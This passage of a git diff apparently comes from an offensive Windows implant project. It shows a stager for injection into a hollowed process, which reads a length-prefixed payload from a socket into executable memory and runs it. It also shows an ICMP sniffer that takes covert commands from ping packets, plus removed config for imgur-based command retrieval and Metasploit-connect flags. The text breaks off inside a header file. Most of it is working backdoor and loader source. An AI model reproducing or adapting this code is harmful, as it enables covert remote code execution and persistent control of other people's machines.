-// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -// Stager is meant to be injected into hollowed process with a socket passed to it. The sole purpose of the stager is -// to read 4 bytes length from the socket, then read payload of as many bytes as specified in length and execute payload. -// -#include -#include -#include -#include -#include "../shared/math.h" -#include "../shared/debug.h" -#include "../config.h" - -#if _WIN64 -static const unsigned mov_rdi_size = 10; -#else -static const unsigned mov_rdi_size = 5; -#endif - -INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) -{ - LOG_DEBUG("Stager started"); - deterministic_uuid_seed = get_machine_hash(); - WSADATA wsa; - HANDLE hMapping = 0; - uint8_t* shared_memory = 0; - uint8_t* payload = 0; - int length = 0; - SOCKET s = INVALID_SOCKET; - WSAStartup(0x0202, &wsa); - - do - { - char mapping_name[51] = "Global\\"; - deterministic_uuid(gts_shared_memory_name, mapping_name + 7); - - HANDLE hMapping = OpenFileMappingA(FILE_MAP_ALL_ACCESS, FALSE, mapping_name); - if (!hMapping) - { - LOG_DEBUG("Failed to open mapping %s %d", mapping_name, GetLastError()); - break; - } - - shared_memory = (uint8_t*)MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0x2000); - if (!shared_memory) - { - LOG_DEBUG("Failed to open shared_memory %d", GetLastError()); - break; - } - - WSAPROTOCOL_INFOW* protocol_info = (WSAPROTOCOL_INFOW*)(shared_memory + sizeof(long)); - s = WSASocketW(FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, protocol_info, 0, 0); - int socket_error = WSAGetLastError(); - - // Signal that mapping is no longer needed. - InterlockedExchange((volatile long*)shared_memory, 0); - - UnmapViewOfFile(shared_memory); - shared_memory = 0; - CloseHandle(hMapping); - hMapping = 0; - - if (s == 0 || s == INVALID_SOCKET) - { - LOG_DEBUG("Socket error %d", socket_error); - break; - } - - // Switch to blocking mode - u_long mode = 0; - ioctlsocket(s, FIONBIO, &mode); - // Set up timeout - DWORD timeout = 30000; - setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout)); - - if (recv(s, (char*)&length, 4, 0) != 4) - { - LOG_DEBUG("Recv size error %d", WSAGetLastError()); - break; - } - LOG_DEBUG("Stager size = %d", length); - - // 30 MB is excessive, i know - if (length > (30 * 1024 * 1024)) - { - LOG_DEBUG("Recv size unexpected"); - break; - } - - uint8_t* payload = (uint8_t*)VirtualAlloc(0, length + mov_rdi_size, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (payload == 0) - { - LOG_DEBUG("VirtualAlloc error %d", GetLastError()); - break; - } - - // Provide socket to the payload in edi/rdi register - #if _WIN64 - *(WORD*)payload = 0xBF48; - *(SOCKET*)(payload + 2) = s; - #else - *(BYTE*)payload = 0xBF; - *(SOCKET*)(payload + 1) = s; - #endif - - // Read rest of the payload - int received_length = recv(s, (char*)(payload + mov_rdi_size), length, MSG_WAITALL); - if (received_length != length) - { - LOG_DEBUG("Socket error %d", WSAGetLastError()); - break; - } - - LOG_DEBUG("Executing payload..."); - // Execute payload - ((void(*)())(payload))(); - - } while (0); - - // Reached only on error. - if (s != INVALID_SOCKET) - closesocket(s); - if (payload) - VirtualFree(payload, length + mov_rdi_size, MEM_RELEASE | MEM_DECOMMIT); - if (shared_memory) - UnmapViewOfFile(shared_memory); - if (hMapping) - CloseHandle(hMapping); - WSACleanup(); - ExitProcess(0); - return 0; - -} +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +// Stager is meant to be injected into hollowed process with a socket passed to it. The sole purpose of the stager is +// to read 4 bytes length from the socket, then read payload of as many bytes as specified in length and execute payload. +// +#include +#include +#include +#include +#include "vr-config.h" +#include "../shared/math.h" +#include "../shared/debug.h" + +#if _WIN64 +static const unsigned mov_rdi_size = 10; +#else +static const unsigned mov_rdi_size = 5; +#endif + +INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) +{ + LOG_DEBUG("Stager started"); + deterministic_uuid_seed = get_machine_hash(); + WSADATA wsa; + HANDLE hMapping = 0; + uint8_t* shared_memory = 0; + uint8_t* payload = 0; + int length = 0; + SOCKET s = INVALID_SOCKET; + WSAStartup(0x0202, &wsa); + + do + { + char mapping_name[51] = "Global\\"; + deterministic_uuid(combine_hash(gts_shared_memory_name, GetCurrentProcessId()), mapping_name + 7); + + HANDLE hMapping = OpenFileMappingA(FILE_MAP_ALL_ACCESS, FALSE, mapping_name); + if (!hMapping) + { + LOG_DEBUG("Failed to open mapping %s %d", mapping_name, GetLastError()); + break; + } + + shared_memory = (uint8_t*)MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0x2000); + if (!shared_memory) + { + LOG_DEBUG("Failed to open shared_memory %d", GetLastError()); + break; + } + + WSAPROTOCOL_INFOW* protocol_info = (WSAPROTOCOL_INFOW*)(shared_memory + sizeof(long)); + s = WSASocketW(FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, protocol_info, 0, 0); + int socket_error = WSAGetLastError(); + + // Signal that mapping is no longer needed. + InterlockedExchange((volatile long*)shared_memory, 0); + + UnmapViewOfFile(shared_memory); + shared_memory = 0; + CloseHandle(hMapping); + hMapping = 0; + + if (s == 0 || s == INVALID_SOCKET) + { + LOG_DEBUG("Socket error %d", socket_error); + break; + } + + // Switch to blocking mode + u_long mode = 0; + ioctlsocket(s, FIONBIO, &mode); + // Set up timeout + DWORD timeout = 30000; + setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout)); + + if (recv(s, (char*)&length, 4, 0) != 4) + { + LOG_DEBUG("Recv size error %d", WSAGetLastError()); + break; + } + LOG_DEBUG("Stager size = %d", length); + + // 30 MB is excessive, i know + if (length > (30 * 1024 * 1024)) + { + LOG_DEBUG("Recv size unexpected"); + break; + } + + uint8_t* payload = (uint8_t*)VirtualAlloc(0, length + mov_rdi_size, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (payload == 0) + { + LOG_DEBUG("VirtualAlloc error %d", GetLastError()); + break; + } + + // Provide socket to the payload in edi/rdi register + #if _WIN64 + *(WORD*)payload = 0xBF48; + *(SOCKET*)(payload + 2) = s; + #else + *(BYTE*)payload = 0xBF; + *(SOCKET*)(payload + 1) = s; + #endif + + // Read rest of the payload + int received_length = recv(s, (char*)(payload + mov_rdi_size), length, MSG_WAITALL); + if (received_length != length) + { + LOG_DEBUG("Socket error %d", WSAGetLastError()); + break; + } + + LOG_DEBUG("Executing payload..."); + // Execute payload + ((void(*)())(payload))(); + + } while (0); + + // Reached only on error. + if (s != INVALID_SOCKET) + closesocket(s); + if (payload) + VirtualFree(payload, length + mov_rdi_size, MEM_RELEASE | MEM_DECOMMIT); + if (shared_memory) + UnmapViewOfFile(shared_memory); + if (hMapping) + CloseHandle(hMapping); + WSACleanup(); + ExitProcess(0); + return 0; + +} diff --git a/src/config.h b/src/vr-config.h.in similarity index 53% rename from src/config.h rename to src/vr-config.h.in index 2558d40..3849b84 100644 --- a/src/config.h +++ b/src/vr-config.h.in @@ -1,49 +1,34 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#pragma once - -#ifdef __cplusplus -inline unsigned operator "" _sec(unsigned long long int n) { return static_cast(n * 1000); } -inline unsigned operator "" _min(unsigned long long int n) { return static_cast(n * 60 * 1000); } -inline unsigned operator "" _hour(unsigned long long int n) { return static_cast(n * 60 * 60 * 1000); } -#endif - -// 64bit integer. A key used for obfuscating various data. -#define vr_shared_key 0x982147b5bea3f6c2ull - -// String. Client id to be used for scanning imgur. -#define vr_imgur_client_id "546c25a59c58ad7" - -// String. imgur.com tag in which http module will look for images with encoded commands -#define vr_imgur_tag "png" - -// Integer. Time between imgur tag queries -#define vr_imgur_tag_query_time 15_min - -// Integer. Random time added to imgur tag query time -#define vr_imgur_tag_query_time_jitter 1_min - -// Private variables, do not modify. -#define vr_mutant_main_instance 0x1000 -#define gts_shared_memory_name 0x1001 +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + +// Do not modify! This file AUTOGENERATED! + +// Private constants, do not modify. +#cmakedefine vr_shared_key @vr_shared_key@ +#define vr_mutant_main 0x1000000 +#define vr_mutant_gts 0x1000001 +#define gts_shared_memory_name 0x2000000 + +#cmakedefine VR_CONFIG "@VR_CONFIG_DATA@" diff --git a/src/vr/CMakeLists.txt b/src/vr/CMakeLists.txt index 38740d8..5ae94b5 100644 --- a/src/vr/CMakeLists.txt +++ b/src/vr/CMakeLists.txt @@ -22,10 +22,11 @@ # DEALINGS IN THE SOFTWARE. # -file(GLOB_RECURSE SOURCE_FILES *.h *.cpp) -add_executable(vr WIN32 ${SOURCE_FILES}) +file(GLOB_RECURSE SOURCE_FILES *.h *.hpp *.cpp) +add_executable(vr WIN32 ${SOURCE_FILES} ${VR_CONFIG}) target_link_libraries(vr shared tiny-json ws2_32 iphlpapi) export_reflective_loader(vr) +add_dependencies(vr gts stager) if (NOT MSVC) target_link_libraries(vr mingw32 gcc mingwex gcc msvcrt) # CRT endif () diff --git a/src/vr/icmp.cpp b/src/vr/icmp.cpp index 7e112e6..de22550 100644 --- a/src/vr/icmp.cpp +++ b/src/vr/icmp.cpp @@ -1,239 +1,236 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "../shared/coroutine.h" -#include "../shared/debug.h" -#include "../shared/payload.h" -#include "../config.h" -#include "icmp.hpp" - -SOCKET icmp_make_socket(int af, const sockaddr* addr, int alen) -{ - SOCKET s = socket(af, SOCK_RAW, IPPROTO_ICMP); - - if (s == INVALID_SOCKET) - { - LOG_ERROR("Could not create ICMP socket [%d]", WSAGetLastError()); - return INVALID_SOCKET; - } - - unsigned ttl = 128; - if (setsockopt(s, IPPROTO_IP, IP_TTL, (const char*)&ttl, sizeof(ttl)) == SOCKET_ERROR) - { - LOG_ERROR("TTL setsockopt failed [%d]", WSAGetLastError()); - closesocket(s); - return INVALID_SOCKET; - } - - if (bind(s, addr, alen) == SOCKET_ERROR) - { - LOG_ERROR("bind failed with error [%d]", WSAGetLastError()); - closesocket(s); - return INVALID_SOCKET; - } - - unsigned optval = 1; - DWORD bytesReturned; - if (WSAIoctl(s, SIO_RCVALL, &optval, sizeof(optval), nullptr, 0, &bytesReturned, nullptr, nullptr) == SOCKET_ERROR) - { - LOG_ERROR("WSAIotcl() failed with error code [%d]", WSAGetLastError()); - closesocket(s); - return INVALID_SOCKET; - } - - optval = 0; - if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char*)&optval, sizeof(optval)) == SOCKET_ERROR) - { - LOG_ERROR("Failed to remove IP header. Error code: [%d]", WSAGetLastError()); - closesocket(s); - return INVALID_SOCKET; - } - - u_long nonblock = 1; - if (ioctlsocket(s, FIONBIO, &nonblock) == SOCKET_ERROR) - { - LOG_ERROR("Could not set ICMP socket as non blocking [%d]", WSAGetLastError()); - closesocket(s); - return INVALID_SOCKET; - } - - return s; -} - -void icmp_scan_interfaces(stl::unordered_map& icmp_sockets) -{ - unsigned af_type[] = {AF_INET, AF_INET6}; - stl::string address; - stl::vector buf; - for (unsigned af : af_type) - { - ULONG bufSize = 0; - GetAdaptersAddresses(af, 0, nullptr, nullptr, &bufSize); - buf.resize(bufSize, 0); - if(GetAdaptersAddresses(af, 0, nullptr, PIP_ADAPTER_ADDRESSES(buf.data()), &bufSize) != ERROR_SUCCESS) - { - LOG_ERROR("Could not get adapter addresses"); - break; - } - auto current = PIP_ADAPTER_ADDRESSES(buf.data()); - while (current) - { - SOCKET_ADDRESS* addr = ¤t->FirstUnicastAddress->Address; - - if (af == AF_INET) - { - auto* ip4 = reinterpret_cast(addr->lpSockaddr); - address = inet_ntoa(ip4->sin_addr); - } - else if (af == AF_INET6) - { - current = current->Next; - continue; // TODO - } - else - assert(false); - - auto it = icmp_sockets.find(address); - if (it == icmp_sockets.end() || it->second == INVALID_SOCKET) - { - SOCKET s = icmp_make_socket(addr->lpSockaddr->sa_family, addr->lpSockaddr, addr->iSockaddrLength); - if (s != INVALID_SOCKET) - { - icmp_sockets[address] = s; - LOG_DEBUG("Monitor ICMP on %s", address.c_str()); - } - } - current = current->Next; - } - } -} - -#pragma clang diagnostic push -#pragma clang diagnostic ignored "-Wmissing-noreturn" -void icmp_thread(context& ctx) -{ - stl::unordered_map icmp_sockets{}; - - static uint8_t packet_buffer[0x10000]{}; - - unsigned last_interfaces_scan = GetTickCount(); - icmp_scan_interfaces(icmp_sockets); - - while (coroutine_loop::current_loop->is_active()) - { - // Rescan interfaces once a day if any sockets are active or once a hour if none are active. - if ((GetTickCount() - last_interfaces_scan) >= (icmp_sockets.empty() ? 1_hour : 24_hour)) - { - icmp_scan_interfaces(icmp_sockets); - last_interfaces_scan = GetTickCount(); - } - - fd_set fds; - FD_ZERO(&fds); - - for (auto it = icmp_sockets.begin(); it != icmp_sockets.end(); ++it) - FD_SET(it->second, &fds); - - if (!fds.fd_count) - { - yield(30_sec); - continue; - } - - timeval tv{}; - tv.tv_usec = 100; - int n = select(0, &fds, nullptr, nullptr, &tv); - if (n == SOCKET_ERROR) - { - LOG_ERROR("ICMP Socket error [%d]", WSAGetLastError()); - yield(30_sec); - continue; - } - else if (n) - { - for (uint32_t i = 0; i < fds.fd_count; i++) - { - SOCKET s = fds.fd_array[i]; - sockaddr from{}; - sockaddr to{}; - int to_size = sizeof(to); - getsockname(s, &to, &to_size); - int from_len = sizeof(from); - int len = recvfrom(s, (char*)packet_buffer, sizeof(packet_buffer), 0, (sockaddr*)&from, &from_len); - - // auto* from_in4 = reinterpret_cast(&from); - auto* to_in4 = reinterpret_cast(&to); - if (len > 0) - { - if (from.sa_family == AF_INET && to.sa_family == AF_INET) - { - iphdr& ip = *(iphdr*)packet_buffer; - icmphdr& icmp = *(icmphdr*)(PBYTE(packet_buffer) + ip.ihl * 4); - if (icmp.type != ICMP_ECHO_REQUEST) - continue; - - if (ip.daddr != to_in4->sin_addr.S_un.S_addr) - { - in_addr daddr{}; - daddr.S_un.S_addr = ip.daddr; - LOG_DEBUG("ICMP discarded because it was meant for other machine %s and we listen on %s", - inet_ntoa(daddr), inet_ntoa(to_in4->sin_addr)); - continue; - } - - uint32_t icmp_len = len - ip.ihl * 4U; - uint32_t datalen = (icmp_len - ICMP_MIN); - uint8_t* data = (uint8_t*)(&icmp) + ICMP_MIN; - - handle_payload(ctx, data, datalen); - } - } - else if (len == SOCKET_ERROR) - { - LOG_WARNING("recvfrom error [%d]", WSAGetLastError()); - for (auto it = icmp_sockets.begin(); it != icmp_sockets.end(); ++it) - { - if (it->second == s) - { - icmp_sockets.erase(it); - break; - } - } - closesocket(s); - } - } - } - - yield(1_sec); - } -} -#pragma clang diagnostic pop +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "vr-config.h" +#include "../shared/coroutine.h" +#include "../shared/debug.h" +#include "../shared/payload.h" +#include "icmp.hpp" + +SOCKET icmp_make_socket(int af, const sockaddr* addr, int alen) +{ + SOCKET s = socket(af, SOCK_RAW, IPPROTO_ICMP); + + if (s == INVALID_SOCKET) + { + LOG_ERROR("Could not create ICMP socket [%d]", WSAGetLastError()); + return INVALID_SOCKET; + } + + unsigned ttl = 128; + if (setsockopt(s, IPPROTO_IP, IP_TTL, (const char*)&ttl, sizeof(ttl)) == SOCKET_ERROR) + { + LOG_ERROR("TTL setsockopt failed [%d]", WSAGetLastError()); + closesocket(s); + return INVALID_SOCKET; + } + + if (bind(s, addr, alen) == SOCKET_ERROR) + { + LOG_ERROR("bind failed with error [%d]", WSAGetLastError()); + closesocket(s); + return INVALID_SOCKET; + } + + unsigned optval = 1; + DWORD bytesReturned; + if (WSAIoctl(s, SIO_RCVALL, &optval, sizeof(optval), nullptr, 0, &bytesReturned, nullptr, nullptr) == SOCKET_ERROR) + { + LOG_ERROR("WSAIotcl() failed with error code [%d]", WSAGetLastError()); + closesocket(s); + return INVALID_SOCKET; + } + + optval = 0; + if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char*)&optval, sizeof(optval)) == SOCKET_ERROR) + { + LOG_ERROR("Failed to remove IP header. Error code: [%d]", WSAGetLastError()); + closesocket(s); + return INVALID_SOCKET; + } + + u_long nonblock = 1; + if (ioctlsocket(s, FIONBIO, &nonblock) == SOCKET_ERROR) + { + LOG_ERROR("Could not set ICMP socket as non blocking [%d]", WSAGetLastError()); + closesocket(s); + return INVALID_SOCKET; + } + + return s; +} + +void icmp_scan_interfaces(stl::unordered_map& icmp_sockets) +{ + unsigned af_type[] = {AF_INET, AF_INET6}; + stl::string address; + stl::vector buf; + for (unsigned af : af_type) + { + ULONG bufSize = 0; + GetAdaptersAddresses(af, 0, nullptr, nullptr, &bufSize); + buf.resize(bufSize, 0); + if(GetAdaptersAddresses(af, 0, nullptr, PIP_ADAPTER_ADDRESSES(buf.data()), &bufSize) != ERROR_SUCCESS) + { + LOG_ERROR("Could not get adapter addresses"); + break; + } + auto current = PIP_ADAPTER_ADDRESSES(buf.data()); + while (current) + { + SOCKET_ADDRESS* addr = ¤t->FirstUnicastAddress->Address; + + if (af == AF_INET) + { + auto* ip4 = reinterpret_cast(addr->lpSockaddr); + address = inet_ntoa(ip4->sin_addr); + } + else if (af == AF_INET6) + { + current = current->Next; + continue; // TODO + } + else + assert(false); + + auto it = icmp_sockets.find(address); + if (it == icmp_sockets.end() || it->second == INVALID_SOCKET) + { + SOCKET s = icmp_make_socket(addr->lpSockaddr->sa_family, addr->lpSockaddr, addr->iSockaddrLength); + if (s != INVALID_SOCKET) + { + icmp_sockets[address] = s; + LOG_DEBUG("Monitor ICMP on %s", address.c_str()); + } + } + current = current->Next; + } + } +} + +void icmp_thread(context& ctx) +{ + stl::unordered_map icmp_sockets{}; + + static uint8_t packet_buffer[0x10000]{}; + + unsigned last_interfaces_scan = GetTickCount(); + icmp_scan_interfaces(icmp_sockets); + + while (coroutine_loop::current_loop->is_active()) + { + // Rescan interfaces once a day if any sockets are active or once a hour if none are active. + if ((GetTickCount() - last_interfaces_scan) >= (icmp_sockets.empty() ? 1_hour : 24_hour)) + { + icmp_scan_interfaces(icmp_sockets); + last_interfaces_scan = GetTickCount(); + } + + fd_set fds; + FD_ZERO(&fds); + + for (auto it = icmp_sockets.begin(); it != icmp_sockets.end(); ++it) + FD_SET(it->second, &fds); + + if (!fds.fd_count) + { + yield(30_sec); + continue; + } + + timeval tv{}; + tv.tv_usec = 100; + int n = select(0, &fds, nullptr, nullptr, &tv); + if (n == SOCKET_ERROR) + { + LOG_ERROR("ICMP Socket error [%d]", WSAGetLastError()); + yield(30_sec); + continue; + } + else if (n) + { + for (uint32_t i = 0; i < fds.fd_count; i++) + { + SOCKET s = fds.fd_array[i]; + sockaddr from{}; + sockaddr to{}; + int to_size = sizeof(to); + getsockname(s, &to, &to_size); + int from_len = sizeof(from); + int len = recvfrom(s, (char*)packet_buffer, sizeof(packet_buffer), 0, (sockaddr*)&from, &from_len); + + // auto* from_in4 = reinterpret_cast(&from); + auto* to_in4 = reinterpret_cast(&to); + if (len > 0) + { + if (from.sa_family == AF_INET && to.sa_family == AF_INET) + { + iphdr& ip = *(iphdr*)packet_buffer; + icmphdr& icmp = *(icmphdr*)(PBYTE(packet_buffer) + ip.ihl * 4); + if (icmp.type != ICMP_ECHO_REQUEST) + continue; + + if (ip.daddr != to_in4->sin_addr.S_un.S_addr) + { + in_addr daddr{}; + daddr.S_un.S_addr = ip.daddr; + LOG_DEBUG("ICMP discarded because it was meant for other machine %s and we listen on %s", + inet_ntoa(daddr), inet_ntoa(to_in4->sin_addr)); + continue; + } + + uint32_t icmp_len = len - ip.ihl * 4U; + uint32_t datalen = (icmp_len - ICMP_MIN); + uint8_t* data = (uint8_t*)(&icmp) + ICMP_MIN; + + handle_payload(ctx, data, datalen); + } + } + else if (len == SOCKET_ERROR) + { + LOG_WARNING("recvfrom error [%d]", WSAGetLastError()); + for (auto it = icmp_sockets.begin(); it != icmp_sockets.end(); ++it) + { + if (it->second == s) + { + icmp_sockets.erase(it); + break; + } + } + closesocket(s); + } + } + } + + yield(1_sec); + } +} diff --git a/src/vr/icmp.hpp b/src/vr/icmp.hpp index 3b5ae30..5747f29 100644 --- a/src/vr/icmp.hpp +++ b/src/vr/icmp.hpp @@ -1,99 +1,99 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#pragma once - - -#include - -// ICMP packet types -#define ICMP_ECHO_REPLY 0 -#define ICMP_DEST_UNREACH 3 -#define ICMP_TTL_EXPIRE 11 -#define ICMP_ECHO_REQUEST 8 - -// Minimum ICMP packet size, in bytes -#define ICMP_MIN 8 - -enum IcmpFlags -{ - ICMP_PORT_OPEN = 1, - ICMP_PORT_CLOSE = 2, - ICMP_MSF_CONNECT = 4, - ICMP_FLAGS_MAX -}; - -#pragma pack(1) - -#ifdef _WIN32 -// The IP header -struct iphdr - { - uint8_t ihl : 4; // Length of the header in dwords - uint8_t version : 4; // Version of IP - uint8_t tos; // Type of service - uint16_t tot_len; // Length of the packet in dwords - uint16_t id; // unique identifier - uint16_t frag_off; // Flags - uint8_t ttl; // Time to live - uint8_t protocol; // Protocol number (TCP, UDP etc) - uint16_t check; // IP checksum - uint32_t saddr; - uint32_t daddr; -}; - -// ICMP header -struct icmphdr { - uint8_t type; // ICMP packet type - uint8_t code; // Type sub code - uint16_t checksum; - uint16_t id; - uint16_t seq; -}; -#else -#include -#include -#endif - -#pragma pack() - -static uint16_t icmp_checksum(uint16_t* buffer, int size) -{ - unsigned long cksum = 0; - - // Sum all the words together, adding the final byte if size is odd - while (size > 1) { - cksum += *buffer++; - size -= sizeof(uint16_t); - } - if (size) { - cksum += *(uint16_t*)buffer; - } - - // Do a little shuffling - cksum = (cksum >> 16) + (cksum & 0xffff); - cksum += (cksum >> 16); - - // Return the bitwise complement of the resulting mishmash - return (uint16_t)(~cksum); -} +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING 